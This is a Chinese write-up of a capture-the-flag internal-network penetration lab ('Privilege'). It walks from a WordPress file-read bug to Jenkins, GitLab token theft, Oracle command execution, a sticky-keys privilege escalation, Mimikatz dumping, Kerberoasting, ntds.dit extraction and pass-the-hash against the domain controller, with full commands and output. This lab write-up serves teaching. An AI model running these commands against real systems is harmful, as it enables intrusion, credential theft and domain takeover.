前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网渗透-春秋云镜篇(Privilege)

内网渗透-春秋云镜篇(Privilege)

作者头像
亿人安全
发布2024-04-12 14:31:47
830
发布2024-04-12 14:31:47
举报
文章被收录于专栏:红蓝对抗红蓝对抗

原文由作者授权发表,首发在:先知社区

https://xz.aliyun.com/t/13378

外网打点

信息搜集

fscan扫描

发现80和8080端口存在着两个服务,先看下80

Wordpress建站,使用wpscan扫描一下

相关插件漏洞寻找过后,发现并没有RCE,所以换8080端口看看

尝试弱口令未果,搜索相关RCE漏洞,探测未授权访问不存在

接下来再对Wordpress站使用dirsearch进行扫描

漏洞探测

发现源码文件,下载下来后发现有数据库账密

尝试连接,不过失败了,应该是不允许其他主机连接。

而后在tools/content-log.php下发现了存在任意文件读取漏洞。

获取密码

根据题目描述我们获取到了Jekins根目录为C:\ProgramData\Jenkins\.jenkins,然后我们这里搜索过后可以发现初始密码路径

因此我们这里读取C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword即可

得到密码510235cf43f14e83b88a9f144199655b

既然是任意文件读取,也可以直接读flag了其实

访问8080端口尝试登录

获取权限

发现命令行接口

之前在实战中有尝试过写shell,然后去执行达到反弹shell的目的,因此这里也进行尝试,因为是Windows环境,没有wget,所以用curl -o。

不过这里发现并不能执行

没有python环境,所以只能作罢。

想起来Windows环境,当前用户还是system权限,可以直接添加管理员用户的,在这里添加管理员用户

代码语言:javascript
复制
net user qwq Qq123456. /add
net localgroup administrators qwq /add

而后RDP连接即可

内网横向

信息搜集

上线VIPER后使用fscan进行扫描

代码语言:javascript
复制
meterpreter > shell -c 'fscan64.exe -h 172.22.14.7/24'

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
(icmp) Target 172.22.14.7     is alive
(icmp) Target 172.22.14.11    is alive
(icmp) Target 172.22.14.16    is alive
(icmp) Target 172.22.14.31    is alive
(icmp) Target 172.22.14.46    is alive
[*] Icmp alive hosts len is: 5
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:445 open
172.22.14.7:445 open
172.22.14.46:139 open
172.22.14.31:139 open
172.22.14.11:139 open
172.22.14.7:139 open
172.22.14.46:135 open
172.22.14.31:135 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.7:8080 open
172.22.14.7:3306 open
172.22.14.31:1521 open
172.22.14.11:88 open
172.22.14.16:8060 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[*] NetInfo:
[*]172.22.14.7
   [->]XR-JENKINS
   [->]172.22.14.7
[*] NetInfo:
[*]172.22.14.11
   [->]XR-DC
   [->]172.22.14.11
[*] NetInfo:
[*]172.22.14.46
   [->]XR-0923
   [->]172.22.14.46
[*] NetInfo:
[*]172.22.14.31
   [->]XR-ORACLE
   [->]172.22.14.31
[*] NetBios: 172.22.14.11    [+] DC:XIAORANG\XR-DC          
[*] NetBios: 172.22.14.31    WORKGROUP\XR-ORACLE           
[*] WebTitle: http://172.22.14.7:8080   code:403 len:548    title:None
[*] NetBios: 172.22.14.46    XIAORANG\XR-0923              
[*] WebTitle: http://172.22.14.16:8060  code:404 len:555    title:404 Not Found
[*] WebTitle: http://172.22.14.46       code:200 len:703    title:IIS Windows Server
[*] WebTitle: http://172.22.14.16       code:302 len:99     title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle: http://172.22.14.7        code:200 len:54603  title:XR SHOP
[*] WebTitle: http://172.22.14.16/users/sign_in code:200 len:34961  title:Sign in · GitLab
[+] http://172.22.14.7/www.zip poc-yaml-backup-file

代理搭建

攻击域成员一(Gitlab API Token泄露)

获取API Token

而后根据题目描述,我们去寻找设置的Gitlab API Token,在网页中可以找到

得到{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh},但这明显是一个加密后的结果,我们需要对它进行解密,这里有两种方法

一是用网页的project接口的gitlab测试功能,将url改成我们的VPS监听端口,然后可以收到PRIVATE-TOKEN,这个后面的值就是真正的API-TOKEN

得到glpat-7kD_qLH2PiQv_ywB9hz2

二是我们可以使用命令行进行直接解密,具体指令如下

代码语言:javascript
复制
println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())

探测git仓库内容

在刚刚fscan扫描中我们可以看到

代码语言:javascript
复制
[*] WebTitle: http://172.22.14.16/users/sign_in code:200 len:34961  title:Sign in · GitLab

因此172.22.14.16这个就是Gitlab的部署站,仓库的通用接口是api/v4/projects/,这里带上刚刚的token访问就可以,指令如下

代码语言:javascript
复制
proxychains curl --silent --header "PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2"  "http://172.22.14.16/api/v4/projects/" | jq | grep "http_url_to_repo"
代码语言:javascript
复制
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git 
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git 
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/awenode.git 
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git 
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/gitlab-instance-23352f48/Monitoring.git

接下来将内容拖下来

发现一个存储大量用户名和密码的,可能待会需要爆破

yml文件中发现Oracle数据库账密

Oracle 连接

尝试使用mdut连接

但连接过后无法使用(会报错),试了试Navicat也长时间无响应。只能换其他工具了,使用odat进行连接,odat支持执行命令,我们这里直接添加用户

代码语言:javascript
复制
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user qwq Qq123456. /add'
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup Administrators qwq /add'

RDP连接

攻击域成员二(SeRestorePrivilege提权)

我们刚刚获取的大量用户名密码还没用,将数据提取出来

代码语言:javascript
复制
with open('credentials.txt', 'r') as file:
    lines = file.readlines()

usernames = [line.split('|')[1].strip() for line in lines[2:]]
passwords = [line.split('|')[2].strip() for line in lines[2:]]

with open('user.txt', 'w') as user_file:
    for username in usernames:
        user_file.write(username + '\n')

with open('pwd.txt', 'w') as pwd_file:
    for password in passwords:
        pwd_file.write(password + '\n')

使用cme进行爆破

不过慢慢发现Fscan中有这么一条

代码语言:javascript
复制
[*] NetBios: 172.22.14.46    XIAORANG\XR-0923

正好凭据也有一条

代码语言:javascript
复制
XR-0923 | zhangshuai | wSbEajHzZs

所以其实不用爆破,直接RDP就可以了

信息搜集

查看当前所拥有权限

代码语言:javascript
复制
whoami /priv

Remote Management Use成员

可以参考https://forum.butian.net/share/2080

使用evil-winrm连接此机器

代码语言:javascript
复制
proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

可以发现再查看用户权限,发现多了一个SeRestorePrivilege

SeRestorePrivilege提权

参考https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B9%9D%E7%A7%8D%E6%9D%83%E9%99%90%E7%9A%84%E5%88%A9%E7%94%A8

可以了解到SeRestorePrivilege授予对系统上所有对象的写访问权,而不管它们的ACL如何。

此时我们就可以通过三种方式达到滥用特权的目的

代码语言:javascript
复制
1、修改服务二进制文件
2、覆盖系统进程使用的DLL
3、修改注册表设置

这里尝试修改粘滞键为cmd,但是拒绝访问了

这里的话再尝试直接修改cmd名字为sethc

代码语言:javascript
复制
ren sethc.exe  sethc.bak
ren cmd.exe sethc.exe

而后锁定用户,在登录处shift 5次触发粘滞键

可以看到已经成功获取system权限,转发VIPER上线获取flag

攻击域控(卷影拷贝提取SAM)

首先添加个管理员用户,方便操作

接下来上传Mimikatz,进行密码抓取

呃,报错了,尝试在VIPER上使用msf模块进行票据搜集

也不行,可能是版本问题,试了很多版本

最终在2.2的某个版本成功执行,是这个应该(下载的太多了,不记得具体哪个了)

https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip

信息搜集

使用Mimikatz获取密码

发现一个机器账户

代码语言:javascript
复制
Authentication Id : 0 ; 832440 (00000000:000cb3b8)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2024/1/24 10:40:31
SID               : S-1-5-90-0-2
    msv :   
     [00000003] Primary
     * Username : XR-0923$
     * Domain   : XIAORANG
     * NTLM     : b2caa4c3f6d5e97bf7c58f7db9e24317
     * SHA1     : 00e3cf78689e875da3f43a5b62cc919990b52a6b
    tspkg : 
    wdigest :   
     * Username : XR-0923$
     * Domain   : XIAORANG
     * Password : (null)
    kerberos :  
     * Username : XR-0923$
     * Domain   : xiaorang.lab
     * Password : c8 9c 74 62 4b a5 13 60 f8 9f 61 ee 0c 9c b4 ca 97 d7 4c 53 6a 10 4e e7 74 03 51 0a 95 3f 78 af 15 22 5d 7f 0c 10 c9 96 19 7a bd 28 d7 c8 9a b7 ec 04 fb a9 18 83 30 e1 d9 75 aa ed c1 81 d0 76 c3 70 6c 68 35 e9 16 66 bd fe c7 92 78 59 be 9b 0b 65 91 10 8b 5b c4 8f 18 32 72 a6 cb bb c1 b0 96 0f 1d 63 bf 8f e8 4f 9b 7b 6a 7c 0a e8 2e 9a 40 d7 36 7d 2e 7a 0c 99 21 ca 64 27 b9 df 77 c6 f7 47 19 d7 bb 05 d6 4b ca e6 70 4b 62 5f 1c f8 78 b9 33 a2 f7 9e e5 77 78 db f9 cd b1 73 e9 b2 df 35 67 5e b0 12 85 ac 59 db 4c 53 8e 2d 6a d4 d3 93 f5 61 30 ee f5 53 d0 2a ae cf 50 83 92 31 ad 67 17 7a 21 58 dc 62 96 2f f2 1c 1e bc 05 1b 43 48 91 5d c1 06 1d 71 73 c0 fa 04 66 59 e9 35 04 a9 50 a5 79 70 06 7b ea 3a ea 0c 44 4c 01 63 
    ssp :   
    credman :   
    cloudap :

Kerberoasting攻击

代码语言:javascript
复制
proxychains GetUserSPNs.py xiaorang.lab/'XR-0923$' -hashes :b2caa4c3f6d5e97bf7c58f7db9e24317 -dc-ip 172.22.14.11

发现tianjing用户,抓取一下hash

代码语言:javascript
复制
proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :b2caa4c3f6d5e97bf7c58f7db9e24317 -dc-ip 172.22.14.11 -request-user tianjing

而后破解一下密码

代码语言:javascript
复制
hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force

得到

代码语言:javascript
复制
tianjing:DPQSXSXgh2

使用evil-winrm登录,进行简单信息搜集

卷影拷贝

有备份以及还原文件和目录的权限,尝试导出sam和system。

首先在本地创建一个dsh文件,这里命名为raj.dsh,内容如下

代码语言:javascript
复制
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

接下来再用unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距

代码语言:javascript
复制
unix2dos raj.dsh

接下来上传到靶机,我们在C:/下随便创个目录,上传此文件

卷影拷贝

代码语言:javascript
复制
diskshadow /s raj.dsh

复制到当前目录

代码语言:javascript
复制
RoboCopy /b z:\windows\ntds . ntds.dit

下载sam和system

接下来进行解密

代码语言:javascript
复制
impacket-secretsdump -ntds ntds.dit -system system local

PTH拿下域控

本文参与?腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-04-11,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 外网打点
    • 信息搜集
      • 漏洞探测
        • 获取密码
          • 获取权限
          • 内网横向
            • 信息搜集
              • 代理搭建
                • 攻击域成员一(Gitlab API Token泄露)
                  • 获取API Token
                  • 探测git仓库内容
                  • Oracle 连接
                • 攻击域成员二(SeRestorePrivilege提权)
                  • 信息搜集
                  • SeRestorePrivilege提权
                • 攻击域控(卷影拷贝提取SAM)
                  • 信息搜集
                  • Kerberoasting攻击
                  • 卷影拷贝
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
              http://www.vxiaotou.com